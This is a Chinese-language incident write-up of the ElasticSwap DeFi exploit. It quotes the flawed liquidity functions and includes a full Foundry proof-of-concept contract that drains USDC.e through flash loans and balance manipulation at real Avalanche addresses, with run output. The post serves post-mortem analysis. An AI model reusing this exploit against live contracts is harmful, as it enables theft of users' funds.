ElasticSwap攻击事件分析与复现

2023-01-04

简述

部署在avax 和eth 上的ElasticSwap 由于router合约没有fork uniswap 在addLiquidity 和removeLiquidity 采用不同的计算方式导致被攻击 以下以avax为例分析

漏洞分析

添加流动性函数采用的是计算k值的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
function addLiquidity(
uint256 _baseTokenQtyDesired,
uint256 _quoteTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
address _liquidityTokenRecipient,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
uint256 totalSupply = this.totalSupply();
MathLib.TokenQtys memory tokenQtys =
MathLib.calculateAddLiquidityQuantities(
_baseTokenQtyDesired,
_quoteTokenQtyDesired,
_baseTokenQtyMin,
_quoteTokenQtyMin,
IERC20(baseToken).balanceOf(address(this)),
totalSupply,
internalBalances
);

internalBalances.kLast =
internalBalances.baseTokenReserveQty *
internalBalances.quoteTokenReserveQty;

if (tokenQtys.liquidityTokenFeeQty != 0) {
// mint liquidity tokens to fee address for k growth.
_mint(
IExchangeFactory(exchangeFactoryAddress).feeAddress(),
tokenQtys.liquidityTokenFeeQty
);
}

bool isExchangeEmpty = totalSupply == 0;
if (isExchangeEmpty) {
// check if this the first LP provider, if so, we need to lock some minimum dust liquidity.
require(
tokenQtys.liquidityTokenQty > MINIMUM_LIQUIDITY,
"Exchange: INITIAL_DEPOSIT_MIN"
);
unchecked {
tokenQtys.liquidityTokenQty -= MINIMUM_LIQUIDITY;
}
_mint(address(this), MINIMUM_LIQUIDITY); // mint to this address, total supply will never be 0 again
}

_mint(_liquidityTokenRecipient, tokenQtys.liquidityTokenQty); // mint liquidity tokens to recipient

if (tokenQtys.baseTokenQty != 0) {
// transfer base tokens to Exchange
IERC20(baseToken).safeTransferFrom(
msg.sender,
address(this),
tokenQtys.baseTokenQty
);

if (isExchangeEmpty) {
require(
IERC20(baseToken).balanceOf(address(this)) ==
tokenQtys.baseTokenQty,
"Exchange: FEE_ON_TRANSFER_NOT_SUPPORTED"
);
}
}

if (tokenQtys.quoteTokenQty != 0) {
// transfer quote tokens to Exchange
IERC20(quoteToken).safeTransferFrom(
msg.sender,
address(this),
tokenQtys.quoteTokenQty
);
}

emit AddLiquidity(
msg.sender,
tokenQtys.baseTokenQty,
tokenQtys.quoteTokenQty
);
}

而移除流动性计算应取回多少token 时则采取的是balanceOf()方法 这样就给攻击者创造了机会,只需要操纵pair的余额就存在套利机会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
function removeLiquidity(
uint256 _liquidityTokenQty,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
address _tokenRecipient,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
require(this.totalSupply() != 0, "Exchange: INSUFFICIENT_LIQUIDITY");
require(
_baseTokenQtyMin != 0 && _quoteTokenQtyMin != 0,
"Exchange: MINS_MUST_BE_GREATER_THAN_ZERO"
);

uint256 baseTokenReserveQty =
IERC20(baseToken).balanceOf(address(this));
uint256 quoteTokenReserveQty =
IERC20(quoteToken).balanceOf(address(this));

uint256 totalSupplyOfLiquidityTokens = this.totalSupply();
// calculate any DAO fees here.
uint256 liquidityTokenFeeQty =
MathLib.calculateLiquidityTokenFees(
totalSupplyOfLiquidityTokens,
internalBalances
);

// we need to factor this quantity in to any total supply before redemption
totalSupplyOfLiquidityTokens += liquidityTokenFeeQty;

uint256 baseTokenQtyToReturn =
(_liquidityTokenQty * baseTokenReserveQty) /
totalSupplyOfLiquidityTokens;
uint256 quoteTokenQtyToReturn =
(_liquidityTokenQty * quoteTokenReserveQty) /
totalSupplyOfLiquidityTokens;

require(
baseTokenQtyToReturn >= _baseTokenQtyMin,
"Exchange: INSUFFICIENT_BASE_QTY"
);

require(
quoteTokenQtyToReturn >= _quoteTokenQtyMin,
"Exchange: INSUFFICIENT_QUOTE_QTY"
);

// this ensures that we are removing the equivalent amount of decay
// when this person exits.
{
//scoping to avoid stack too deep errors
uint256 internalBaseTokenReserveQty =
internalBalances.baseTokenReserveQty;
uint256 baseTokenQtyToRemoveFromInternalAccounting =
(_liquidityTokenQty * internalBaseTokenReserveQty) /
totalSupplyOfLiquidityTokens;

internalBalances.baseTokenReserveQty = internalBaseTokenReserveQty =
internalBaseTokenReserveQty -
baseTokenQtyToRemoveFromInternalAccounting;

// We should ensure no possible overflow here.
uint256 internalQuoteTokenReserveQty =
internalBalances.quoteTokenReserveQty;
if (quoteTokenQtyToReturn > internalQuoteTokenReserveQty) {
internalBalances
.quoteTokenReserveQty = internalQuoteTokenReserveQty = 0;
} else {
internalBalances
.quoteTokenReserveQty = internalQuoteTokenReserveQty =
internalQuoteTokenReserveQty -
quoteTokenQtyToReturn;
}

internalBalances.kLast =
internalBaseTokenReserveQty *
internalQuoteTokenReserveQty;
}

if (liquidityTokenFeeQty != 0) {
_mint(
IExchangeFactory(exchangeFactoryAddress).feeAddress(),
liquidityTokenFeeQty
);
}

_burn(msg.sender, _liquidityTokenQty);
IERC20(baseToken).safeTransfer(_tokenRecipient, baseTokenQtyToReturn);
IERC20(quoteToken).safeTransfer(_tokenRecipient, quoteTokenQtyToReturn);
emit RemoveLiquidity(
msg.sender,
baseTokenQtyToReturn,
quoteTokenQtyToReturn
);
}

跟踪攻击流程发现出现异常的是这一步,在攻击者第一次移除完流动性之后usdc储备量只剩下0.5

image-20230103185418158

是因为在removeLiquidity 方法时会更新两个储备量值

image-20230103185233921

上一次记录的储备量为393770263016 移除流动性应该转给攻击者393769763016 两者之差就是500000

这时相当于池子的TIC代变得非常便宜,所以攻击者先花了一点小钱(50u)把池子的大量TIC代币换了出去,然后在次添加流动性,拿到大量lp,再移除流动性 因为u的数量是按pair 余额计算的 此时pair 里还剩下大量的usdc 只不过没有被计算进reseves 里 如果这个pair fork 的uniswap 直接调用skim()也行 至此攻击者完成套利。

漏洞复现

使用foundry 复现此漏洞,代码如下:

forge test –contracts ./src/test/elasticswapexp.sol -vvvv -w

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";
import "forge-std/console.sol";

interface ELPExchange is IERC20{
struct InternalBalances {
// x*y=k - we track these internally to compare to actual balances of the ERC20's
// in order to calculate the "decay" or the amount of balances that are not
// participating in the pricing curve and adding additional liquidity to swap.
uint256 baseTokenReserveQty; // x
uint256 quoteTokenReserveQty; // y
uint256 kLast; // as of the last add / rem liquidity event
}

function internalBalances() view external returns(InternalBalances memory);
function addLiquidity(
uint256 _baseTokenQtyDesired,
uint256 _quoteTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
address _liquidityTokenRecipient,
uint256 _expirationTimestamp
) external;
function removeLiquidity(
uint256 _liquidityTokenQty,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
address _tokenRecipient,
uint256 _expirationTimestamp
) external;
function swapQuoteTokenForBaseToken(
uint256 _quoteTokenQty,
uint256 _minBaseTokenQty,
uint256 _expirationTimestamp
) external;
}

contract elasticswapExploit is DSTest{
IERC20 TIC = IERC20(0x75739a693459f33B1FBcC02099eea3eBCF150cBe);
IERC20 USDC_E = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
Uni_Pair_V2 SPair = Uni_Pair_V2(0x4CF9dC05c715812FeAD782DC98de0168029e05C8);
Uni_Pair_V2 JPair = Uni_Pair_V2(0xA389f9430876455C36478DeEa9769B7Ca4E3DDB1);
ELPExchange elp = ELPExchange(0x4ae1Da57f2d6b2E9a23d07e264Aa2B3bBCaeD19A);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public{
cheats.createSelectFork('avax',23563709);
}

// function testFork() public{
// console.log(block.number);
// assertEq(block.number, 23563709);
// }

function testExploit() public{
TIC.approve(address(elp),type(uint).max);
USDC_E.approve(address(elp),type(uint).max);

SPair.swap(51_112 * 1e18,0,address(this),new bytes(1));
}

function uniswapV2Call(address sender,uint256 amount0,uint256 amount1, bytes calldata data) external{
JPair.swap(766_685 * 1e6,0,address(this),new bytes(1));
//归还闪电贷
TIC.transfer(address(SPair),51_112 * 1.01 * 1e18);
console.log('attack complete, usdc.e balance:',USDC_E.balanceOf(address(this))/1e6);
console.log('attack complete, tic balance:',TIC.balanceOf(address(this))/1e18);
}

function joeCall(address sender,uint256 amount0,uint256 amount1,bytes calldata data) external {
//添加流动性
// elp.addLiquidity(1e9,0, 0, 0, address(this), block.timestamp);
uint _baseTokenQtyDesired = TIC.balanceOf(address(elp));
uint _quoteTokenQtyDesired = USDC_E.balanceOf(address(elp));
elp.addLiquidity(_baseTokenQtyDesired, _quoteTokenQtyDesired, 1, 1, address(this), block.timestamp);
console.log("addliquty complete tic:",_baseTokenQtyDesired/1e18);
console.log("addliquty complete usdc.e:",_quoteTokenQtyDesired/1e6);

//转账
USDC_E.transfer(address(elp),USDC_E.balanceOf(address(elp))-1000_000);

//移除流动性
uint256 _liquidityTokenQty = elp.balanceOf(address(this));
console.log("addliquty complete lp:",_liquidityTokenQty);

elp.removeLiquidity(_liquidityTokenQty, 1, 1, address(this), block.timestamp);

//购买tic
elp.swapQuoteTokenForBaseToken(50*1e6,1,block.timestamp);
console.log('buy tic successful',TIC.balanceOf(address(this))/1e18);

//再次添加流动性
uint256 base_amount = TIC.balanceOf(address(this));
uint256 quote_amount = USDC_E.balanceOf(address(this));
elp.addLiquidity(base_amount,quote_amount,1,1,address(this),block.timestamp);

//再次移除流动性
elp.removeLiquidity(elp.balanceOf(address(this)),1,1,address(this),block.timestamp);
console.log('usdc.e balance:',USDC_E.balanceOf(address(this)));
//归还闪电贷
USDC_E.transfer(address(JPair),766_685 * 1.011 * 1e6);
}

}

输出如下:

1
2
3
4
5
6
7
8
9
10
Running 1 test for src/test/elasticswapexp.sol:elasticswapExploit
[PASS] testExploit() (gas: 526389)
Logs:
addliquty complete tic: 41532
addliquty complete usdc.e: 196885
addliquty complete lp: 4412803431946595
buy tic successful 92231
usdc.e balance: 961763144176
attack complete, usdc.e balance: 186644
attack complete, tic balance: 40608

参考链接

https://snowtrace.deth.net/address/0x4ae1da57f2d6b2e9a23d07e264aa2b3bbcaed19a#code

https://quillaudits.medium.com/decoding-elastic-swaps-850k-exploit-quillaudits-9ceb7fcd8d1a